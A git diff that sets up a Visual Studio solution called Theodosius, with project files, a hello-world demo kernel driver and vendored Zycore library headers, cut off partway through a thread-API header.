diff --git a/DemoDrv/DemoDrv.vcxproj b/DemoDrv/DemoDrv.vcxproj new file mode 100644 index 0000000..2a8fca4 --- /dev/null +++ b/DemoDrv/DemoDrv.vcxproj @@ -0,0 +1,98 @@ + + + + + Debug + x64 + + + Release + x64 + + + + {A9959D7F-E405-4380-A1B4-4CE8DD929397} + {1bc93793-694f-48fe-9372-81e2b05556fd} + v4.5 + 12.0 + Debug + Win32 + DemoDrv + 10.0 + + + + Windows10 + true + ClangCL + DynamicLibrary + KMDF + Universal + false + + + Windows10 + false + ClangCL + DynamicLibrary + KMDF + Universal + false + + + + + + + + + + + DbgengKernelDebugger + false + + + DbgengKernelDebugger + false + + + + stdcpp17 + false + false + false + -mcmodel=large -c %(AdditionalOptions) + false + + + DriverEntry + + + + + stdcpp17 + false + Disabled + false + false + -mcmodel=large %(AdditionalOptions) + Async + true + false + Default + Default + + + DriverEntry + + + + + + + + + + + + \ No newline at end of file diff --git a/DemoDrv/DemoDrv.vcxproj.filters b/DemoDrv/DemoDrv.vcxproj.filters new file mode 100644 index 0000000..309d408 --- /dev/null +++ b/DemoDrv/DemoDrv.vcxproj.filters @@ -0,0 +1,17 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {6ad835cd-061a-454e-b69a-e064070a3bc2} + + + + + Source Files + + + \ No newline at end of file diff --git a/DemoDrv/DemoDrv.vcxproj.user b/DemoDrv/DemoDrv.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/DemoDrv/DemoDrv.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/DemoDrv/DriverEntry.c b/DemoDrv/DriverEntry.c new file mode 100644 index 0000000..ea41864 --- /dev/null +++ b/DemoDrv/DriverEntry.c @@ -0,0 +1,8 @@ +#include +#define ObfiscateRoutine __declspec(code_seg(".theo")) +unsigned long DbgPrint(const char* format, ...); + +int drv_entry() +{ + DbgPrint("> hello world! this is a demo!\n"); +} \ No newline at end of file diff --git a/Theodosius.sln b/Theodosius.sln new file mode 100644 index 0000000..eea2810 --- /dev/null +++ b/Theodosius.sln @@ -0,0 +1,33 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30907.101 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Theodosius", "Theodosius\Theodosius.vcxproj", "{B3A57EE2-364D-42FA-A827-33F43136B549}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DemoDrv", "DemoDrv\DemoDrv.vcxproj", "{A9959D7F-E405-4380-A1B4-4CE8DD929397}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B3A57EE2-364D-42FA-A827-33F43136B549}.Debug|x64.ActiveCfg = Debug|x64 + {B3A57EE2-364D-42FA-A827-33F43136B549}.Debug|x64.Build.0 = Debug|x64 + {B3A57EE2-364D-42FA-A827-33F43136B549}.Release|x64.ActiveCfg = Release|x64 + {B3A57EE2-364D-42FA-A827-33F43136B549}.Release|x64.Build.0 = Release|x64 + {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Debug|x64.ActiveCfg = Debug|x64 + {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Debug|x64.Build.0 = Debug|x64 + {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Debug|x64.Deploy.0 = Debug|x64 + {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Release|x64.ActiveCfg = Release|x64 + {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Release|x64.Build.0 = Release|x64 + {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Release|x64.Deploy.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {F162AC8C-7E8E-4B3E-881E-D551E80764BB} + EndGlobalSection +EndGlobal diff --git a/Theodosius/Theodosius.vcxproj b/Theodosius/Theodosius.vcxproj new file mode 100644 index 0000000..deffcd7 --- /dev/null +++ b/Theodosius/Theodosius.vcxproj @@ -0,0 +1,157 @@ + + + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {b3a57ee2-364d-42fa-a827-33f43136b549} + Theodosius + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + true + $(ProjectDir);$(IncludePath) + + + false + $(ProjectDir);$(IncludePath) + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions);ZYAN_NO_LIBC;ZYDIS_NO_LIBC;ZYCORE_STATIC_DEFINE;ZYDIS_STATIC_DEFINE;_CRT_SECURE_NO_WARNINGS + true + stdcpp17 + + + Console + true + Zydis.lib;Zycore.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions);ZYAN_NO_LIBC;ZYDIS_NO_LIBC;ZYCORE_STATIC_DEFINE;ZYDIS_STATIC_DEFINE;_CRT_SECURE_NO_WARNINGS + true + stdcpp17 + + + Console + true + true + true + Zydis.lib;Zycore.lib;%(AdditionalDependencies) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Document + + + + + + + \ No newline at end of file diff --git a/Theodosius/Theodosius.vcxproj.filters b/Theodosius/Theodosius.vcxproj.filters new file mode 100644 index 0000000..1c2f283 --- /dev/null +++ b/Theodosius/Theodosius.vcxproj.filters @@ -0,0 +1,208 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {8d07ce7e-3b56-4b27-bb05-d12987f22384} + + + {77c3f715-9d9f-488e-a1d5-542124a490b0} + + + {c89c1fbb-39b5-4954-9774-0c2600773705} + + + {db8b5110-ec16-4fc2-80cc-7241ccbfec1c} + + + {c51e3b93-1496-49d7-838f-825d75b29ee6} + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files\Zydis\Generated + + + Header Files\Zydis\Generated + + + Header Files\Zydis\Generated + + + Header Files\Zydis\Generated + + + Header Files\Zydis\Generated + + + Header Files\Zydis\Internal + + + Header Files\Zydis\Internal + + + Header Files\Zydis\Internal + + + Header Files\Zydis\Internal + + + Header Files\Zydis\Internal + + + Header Files\Zydis\Internal + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zydis + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore + + + Header Files\Zycore\API + + + Header Files\Zycore\API + + + Header Files\Zycore\API + + + Header Files\Zycore\API + + + Header Files\Zycore\API + + + Header Files\Zydis + + + Header Files\Zycore + + + Header Files + + + Header Files + + + + + Source Files + + + \ No newline at end of file diff --git a/Theodosius/Theodosius.vcxproj.user b/Theodosius/Theodosius.vcxproj.user new file mode 100644 index 0000000..fdef912 --- /dev/null +++ b/Theodosius/Theodosius.vcxproj.user @@ -0,0 +1,11 @@ + + + + C:\Users\_xeroxz\Desktop\drv + WindowsLocalDebugger + + + C:\Users\_xeroxz\Desktop\drv + WindowsLocalDebugger + + \ No newline at end of file diff --git a/Theodosius/Zycore.lib b/Theodosius/Zycore.lib new file mode 100644 index 0000000..b36a938 Binary files /dev/null and b/Theodosius/Zycore.lib differ diff --git a/Theodosius/Zycore/API/Memory.h b/Theodosius/Zycore/API/Memory.h new file mode 100644 index 0000000..c5fa8a9 --- /dev/null +++ b/Theodosius/Zycore/API/Memory.h @@ -0,0 +1,134 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * @brief + */ + +#ifndef ZYCORE_API_MEMORY_H +#define ZYCORE_API_MEMORY_H + +#include +#include +#include +#include + +#if defined(ZYAN_WINDOWS) +# include +#elif defined(ZYAN_POSIX) +# include +#else +# error "Unsupported platform detected" +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZyanMemoryPageProtection` enum. + */ +typedef enum ZyanMemoryPageProtection_ +{ +#if defined(ZYAN_WINDOWS) + + ZYAN_PAGE_READONLY = PAGE_READONLY, + ZYAN_PAGE_READWRITE = PAGE_READWRITE, + ZYAN_PAGE_EXECUTE = PAGE_EXECUTE, + ZYAN_PAGE_EXECUTE_READ = PAGE_EXECUTE_READ, + ZYAN_PAGE_EXECUTE_READWRITE = PAGE_EXECUTE_READWRITE + +#elif defined(ZYAN_POSIX) + + ZYAN_PAGE_READONLY = PROT_READ, + ZYAN_PAGE_READWRITE = PROT_READ | PROT_WRITE, + ZYAN_PAGE_EXECUTE = PROT_EXEC, + ZYAN_PAGE_EXECUTE_READ = PROT_EXEC | PROT_READ, + ZYAN_PAGE_EXECUTE_READWRITE = PROT_EXEC | PROT_READ | PROT_WRITE + +#endif +} ZyanMemoryPageProtection; + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the system page size. + * + * @return The system page size. + */ +ZYCORE_EXPORT ZyanU32 ZyanMemoryGetSystemPageSize(); + +/** + * Returns the system allocation granularity. + * + * The system allocation granularity specifies the minimum amount of bytes which can be allocated + * at a specific address by a single call of `ZyanMemoryVirtualAlloc`. + * + * This value is typically 64KiB on Windows systems and equal to the page size on most POSIX + * platforms. + * + * @return The system allocation granularity. + */ +ZYCORE_EXPORT ZyanU32 ZyanMemoryGetSystemAllocationGranularity(); + +/* ---------------------------------------------------------------------------------------------- */ +/* Memory management */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Changes the memory protection value of one or more pages. + * + * @param address The start address aligned to a page boundary. + * @param size The size. + * @param protection The new page protection value. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanMemoryVirtualProtect(void* address, ZyanUSize size, + ZyanMemoryPageProtection protection); + +/** + * Releases one or more memory pages starting at the given address. + * + * @param address The start address aligned to a page boundary. + * @param size The size. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanMemoryVirtualFree(void* address, ZyanUSize size); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#endif /* ZYCORE_API_MEMORY_H */ diff --git a/Theodosius/Zycore/API/Process.h b/Theodosius/Zycore/API/Process.h new file mode 100644 index 0000000..0b6a5c6 --- /dev/null +++ b/Theodosius/Zycore/API/Process.h @@ -0,0 +1,67 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * @brief + */ + +#ifndef ZYCORE_API_PROCESS_H +#define ZYCORE_API_PROCESS_H + +#include +#include +#include + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + + + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * @brief Flushes the process instruction cache. + * + * @param address The address. + * @param size The size. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanProcessFlushInstructionCache(void* address, ZyanUSize size); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#endif /* ZYCORE_API_PROCESS_H */ diff --git a/Theodosius/Zycore/API/Synchronization.h b/Theodosius/Zycore/API/Synchronization.h new file mode 100644 index 0000000..8414a44 --- /dev/null +++ b/Theodosius/Zycore/API/Synchronization.h @@ -0,0 +1,133 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * @brief + */ + +#ifndef ZYCORE_API_SYNCHRONIZATION_H +#define ZYCORE_API_SYNCHRONIZATION_H + +#ifndef ZYAN_NO_LIBC + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +#if defined(ZYAN_POSIX) + +#include + +/* ---------------------------------------------------------------------------------------------- */ +/* Critical Section */ +/* ---------------------------------------------------------------------------------------------- */ + +typedef pthread_mutex_t ZyanCriticalSection; + +/* ---------------------------------------------------------------------------------------------- */ + +#elif defined(ZYAN_WINDOWS) + +#include + +/* ---------------------------------------------------------------------------------------------- */ +/* Critical Section */ +/* ---------------------------------------------------------------------------------------------- */ + +typedef CRITICAL_SECTION ZyanCriticalSection; + +/* ---------------------------------------------------------------------------------------------- */ + +#else +# error "Unsupported platform detected" +#endif + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Critical Section */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Initializes a critical section. + * + * @param critical_section A pointer to the `ZyanCriticalSection` struct. + */ +ZYCORE_EXPORT ZyanStatus ZyanCriticalSectionInitialize(ZyanCriticalSection* critical_section); + +/** + * Enters a critical section. + * + * @param critical_section A pointer to the `ZyanCriticalSection` struct. + */ +ZYCORE_EXPORT ZyanStatus ZyanCriticalSectionEnter(ZyanCriticalSection* critical_section); + +/** + * Tries to enter a critical section. + * + * @param critical_section A pointer to the `ZyanCriticalSection` struct. + * + * @return Returns `ZYAN_TRUE` if the critical section was successfully entered or `ZYAN_FALSE`, + * if not. + */ +ZYCORE_EXPORT ZyanBool ZyanCriticalSectionTryEnter(ZyanCriticalSection* critical_section); + +/** + * Leaves a critical section. + * + * @param critical_section A pointer to the `ZyanCriticalSection` struct. + */ +ZYCORE_EXPORT ZyanStatus ZyanCriticalSectionLeave(ZyanCriticalSection* critical_section); + +/** + * Deletes a critical section. + * + * @param critical_section A pointer to the `ZyanCriticalSection` struct. + */ +ZYCORE_EXPORT ZyanStatus ZyanCriticalSectionDelete(ZyanCriticalSection* critical_section); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYAN_NO_LIBC */ + +#endif /* ZYCORE_API_SYNCHRONIZATION_H */ diff --git a/Theodosius/Zycore/API/Terminal.h b/Theodosius/Zycore/API/Terminal.h new file mode 100644 index 0000000..17dc384 --- /dev/null +++ b/Theodosius/Zycore/API/Terminal.h @@ -0,0 +1,163 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file Provides cross-platform terminal helper functions. + * @brief + */ + +#ifndef ZYCORE_API_TERMINAL_H +#define ZYCORE_API_TERMINAL_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#ifndef ZYAN_NO_LIBC + +/* ============================================================================================== */ +/* VT100 CSI SGR sequences */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +#define ZYAN_VT100SGR_RESET "\033[0m" + +/* ---------------------------------------------------------------------------------------------- */ +/* Foreground colors */ +/* ---------------------------------------------------------------------------------------------- */ + +#define ZYAN_VT100SGR_FG_DEFAULT "\033[39m" + +#define ZYAN_VT100SGR_FG_BLACK "\033[30m" +#define ZYAN_VT100SGR_FG_RED "\033[31m" +#define ZYAN_VT100SGR_FG_GREEN "\033[32m" +#define ZYAN_VT100SGR_FG_YELLOW "\033[33m" +#define ZYAN_VT100SGR_FG_BLUE "\033[34m" +#define ZYAN_VT100SGR_FG_MAGENTA "\033[35m" +#define ZYAN_VT100SGR_FG_CYAN "\033[36m" +#define ZYAN_VT100SGR_FG_WHITE "\033[37m" +#define ZYAN_VT100SGR_FG_BRIGHT_BLACK "\033[90m" +#define ZYAN_VT100SGR_FG_BRIGHT_RED "\033[91m" +#define ZYAN_VT100SGR_FG_BRIGHT_GREEN "\033[92m" +#define ZYAN_VT100SGR_FG_BRIGHT_YELLOW "\033[93m" +#define ZYAN_VT100SGR_FG_BRIGHT_BLUE "\033[94m" +#define ZYAN_VT100SGR_FG_BRIGHT_MAGENTA "\033[95m" +#define ZYAN_VT100SGR_FG_BRIGHT_CYAN "\033[96m" +#define ZYAN_VT100SGR_FG_BRIGHT_WHITE "\033[97m" + +/* ---------------------------------------------------------------------------------------------- */ +/* Background color */ +/* ---------------------------------------------------------------------------------------------- */ + +#define ZYAN_VT100SGR_BG_DEFAULT "\033[49m" + +#define ZYAN_VT100SGR_BG_BLACK "\033[40m" +#define ZYAN_VT100SGR_BG_RED "\033[41m" +#define ZYAN_VT100SGR_BG_GREEN "\033[42m" +#define ZYAN_VT100SGR_BG_YELLOW "\033[43m" +#define ZYAN_VT100SGR_BG_BLUE "\033[44m" +#define ZYAN_VT100SGR_BG_MAGENTA "\033[45m" +#define ZYAN_VT100SGR_BG_CYAN "\033[46m" +#define ZYAN_VT100SGR_BG_WHITE "\033[47m" +#define ZYAN_VT100SGR_BG_BRIGHT_BLACK "\033[100m" +#define ZYAN_VT100SGR_BG_BRIGHT_RED "\033[101m" +#define ZYAN_VT100SGR_BG_BRIGHT_GREEN "\033[102m" +#define ZYAN_VT100SGR_BG_BRIGHT_YELLOW "\033[103m" +#define ZYAN_VT100SGR_BG_BRIGHT_BLUE "\033[104m" +#define ZYAN_VT100SGR_BG_BRIGHT_MAGENTA "\033[105m" +#define ZYAN_VT100SGR_BG_BRIGHT_CYAN "\033[106m" +#define ZYAN_VT100SGR_BG_BRIGHT_WHITE "\033[107m" + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Declares the `ZyanStandardStream` enum. + */ +typedef enum ZyanStandardStream_ +{ + /** + * The default input stream. + */ + ZYAN_STDSTREAM_IN, + /** + * The default output stream. + */ + ZYAN_STDSTREAM_OUT, + /** + * The default error stream. + */ + ZYAN_STDSTREAM_ERR +} ZyanStandardStream; + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * Enables VT100 ansi escape codes for the given stream. + * + * @param stream Either `ZYAN_STDSTREAM_OUT` or `ZYAN_STDSTREAM_ERR`. + * + * @return A zyan status code. + * + * This functions returns `ZYAN_STATUS_SUCCESS` on all non-Windows systems without performing any + * operations, assuming that VT100 is supported by default. + * + * On Windows systems, VT100 functionality is only supported on Windows 10 build 1607 (anniversary + * update) and later. + */ +ZYCORE_EXPORT ZyanStatus ZyanTerminalEnableVT100(ZyanStandardStream stream); + +/** + * Checks, if the given standard stream reads from or writes to a terminal. + * + * @param stream The standard stream to check. + * + * @return `ZYAN_STATUS_TRUE`, if the stream is bound to a terminal, `ZYAN_STATUS_FALSE` if not, + * or another zyan status code if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanTerminalIsTTY(ZyanStandardStream stream); + +/* ============================================================================================== */ + +#endif // ZYAN_NO_LIBC + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_API_TERMINAL_H */ diff --git a/Theodosius/Zycore/API/Thread.h b/Theodosius/Zycore/API/Thread.h new file mode 100644 index 0000000..b1ec085 --- /dev/null +++ b/Theodosius/Zycore/API/Thread.h @@ -0,0 +1,244 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * @brief + */ + +#ifndef ZYCORE_API_THREAD_H +#define ZYCORE_API_THREAD_H + +#ifndef ZYAN_NO_LIBC + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +#if defined(ZYAN_POSIX) + +#include + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanThread` data-type. + */ +typedef pthread_t ZyanThread; + +/** + * Defines the `ZyanThreadId` data-type. + */ +typedef ZyanU64 ZyanThreadId; + +/* ---------------------------------------------------------------------------------------------- */ +/* Thread Local Storage (TLS) */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanThreadTlsIndex` data-type. + */ +typedef pthread_key_t ZyanThreadTlsIndex; + +/** + * Defines the `ZyanThreadTlsCallback` function prototype. + */ +typedef void(*ZyanThreadTlsCallback)(void* data); + +/** + * Declares a Thread Local Storage (TLS) callback function. + * + * @param name The callback function name. + * @param param_type The callback data parameter type. + * @param param_name The callback data parameter name. + */ +#define ZYAN_THREAD_DECLARE_TLS_CALLBACK(name, param_type, param_name) \ + void name(param_type* param_name) + +/* ---------------------------------------------------------------------------------------------- */ + +#elif defined(ZYAN_WINDOWS) + +#include + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanThread` data-type. + */ +typedef HANDLE ZyanThread; + +/** + * Defines the `ZyanThreadId` data-type. + */ +typedef DWORD ZyanThreadId; + +/* ---------------------------------------------------------------------------------------------- */ +/* Thread Local Storage (TLS) */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanThreadTlsIndex` data-type. + */ +typedef DWORD ZyanThreadTlsIndex; + +/** + * Defines the `ZyanThreadTlsCallback` function prototype. + */ +typedef PFLS_CALLBACK_FUNCTION ZyanThreadTlsCallback; + +/** + * Declares a Thread Local Storage (TLS) callback function. + * + * @param name The callback function name. + * @param param_type The callback data parameter type. + * @param param_name The callback data parameter name. + */ +#define ZYAN_THREAD_DECLARE_TLS_CALLBACK(name, param_type, param_name) \ + VOID NTAPI name(param_type* param_name) + +/* ---------------------------------------------------------------------------------------------- */ + +#else +# error "Unsupported platform detected" +#endif + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the handle of the current thread. + * + * @param thread Receives the handle of the current thread. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanThreadGetCurrentThread(ZyanThread* thread); + +/** + * Returns the unique id of the current thread. + * + * @param thread_id Receives the unique id of the current thread. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanThreadGetCurrentThreadId(ZyanThreadId* thread_id); + +/* ---------------------------------------------------------------------------------------------- */ +/* Thread Local Storage (TLS) */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Allocates a new Thread Local Storage (TLS) slot. + * + * @param index Receives the TLS slot index. + * @param destructor A pointer to a destructor callback which is invoked to finalize the data + * in the TLS slot or `ZYAN_NULL`, if not needed. + * + * The maximum available number of TLS slots is implementation specific and different on each + * platform: + * - Windows + * - A total amount of 128 slots per process are guaranteed + * - POSIX + * - A total amount of 128 slots per process are guaranteed + * - Some systems guarantee larger amounts like e.g. 1024 slots per process + * + * Note that the invocation rules for the destructor callback are implementation specific and + * different on each platform: + * - Windows + * - The callback is invoked when a thread exits + * - The callback is invoked when the process exits + * - The callback is invoked when the TLS slot is released + * - POSIX + * - The callback is invoked when a thread exits and the stored value is not null + * - The callback is NOT invoked when the process exits + * - The callback is NOT invoked when the TLS slot is released + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanThreadTlsAlloc(ZyanThreadTlsIndex* index, + ZyanThreadTlsCallback destructor); + +/** + * Releases a Thread Local Storage (TLS) slot. + * + * @param index The TLS slot index. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanThreadTlsFree(ZyanThreadTlsIndex index); + +/** + * Returns the value inside the given Thread Local Storage (TLS) slot for the + * calling thread. + * + * @param index The TLS slot index. + * @param data Receives the value inside the given Thread Local Storage + * (TLS) slot for the calling thread. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus 